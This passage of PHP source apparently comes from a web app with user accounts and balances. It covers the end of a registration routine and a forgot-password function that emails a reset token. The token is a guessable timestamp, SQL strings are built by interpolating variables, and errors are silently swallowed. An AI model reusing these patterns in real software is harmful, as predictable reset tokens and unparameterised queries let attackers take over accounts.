			$reg=mysqli_query($dbc,"INSERT INTO users VALUES(0,'$datetime','$username', '', '$email', '$name', '$bal', '$password','$mobile','$country','0','1','$token','$ip_address', '', '', '0', '', '0', '1', '', '', '', '0', '$acct')");
			if($reg){
				$_SESSION['offshore_status']='success';
				redirect($url."/login");
			} 
		}else if ($set['email_activation']==0) {
			$reg=mysqli_query($dbc,"INSERT INTO users VALUES(0,'$datetime','$username', '', '$email', '$name', '$bal', '$password','$mobile','$country','0','1','$token','$ip_address', '', '', '0', '', '0', '1', '', '', '', '0', '$acct')");
			if($reg){
				$_SESSION['offshore_status']='success';
				redirect($url."/login");
			} 
		} 

	}
}
function user_forgot(){
	session_start();
	require_once("config.php");
	$email=mysqli_escape_string($dbc,$_POST['email']);
	if(mysqli_num_rows(mysqli_query($dbc, "SELECT * FROM users WHERE email='$email'"))>0){
		$token = round(microtime(true));
		mysqli_query($dbc, "UPDATE users SET token='$token' WHERE email='$email'");
		require_once "../lib/mail/forgot_password.php";
		require '../lib/phpmailer/PHPMailerAutoload.php';
		if($eset['status']==1){
			$mail = new PHPMailer(true);    
			try{                         // Passing `true` enables exceptions
				$mail->SMTPDebug = 0;                                
				$mail->isSMTP();                                      
				$mail->Host = $eset['hoste'];; 
				$mail->SMTPAuth = true;                        
				$mail->Username = $eset['username'];                 
				$mail->Password = $eset['password'];                          
				$mail->SMTPSecure = 'ssl';                            
				$mail->Port = $eset['porte'];                                    
				$mail->setFrom($eset['frome'], $set['site_name']);
				$mail->addAddress($email, $set['site_name']);          
				$mail->addReplyTo($eset['reply_to'], $set['site_name']);
				$mail->isHTML(true);                                 
				$mail->Subject = "Password Recovery";
				$mail->Body=$email_content;
				$mail->AltBody = $set['site_name'];
				$mail->send();
			}catch (phpmailerException $e){

			}catch (Exception $e){

			}
			if($e){
				$_SESSION['offshore_forgoterror']='eruptx';
			}else{
				$_SESSION['offshore_forgoterror']='success';
			}			
		}else{
			$_SESSION['offshore_forgoterror']='eruptx';
		}
	}else{
		$_SESSION['offshore_forgoterror']='invaliddetails';
	}
	redirect($url."/forgot");
}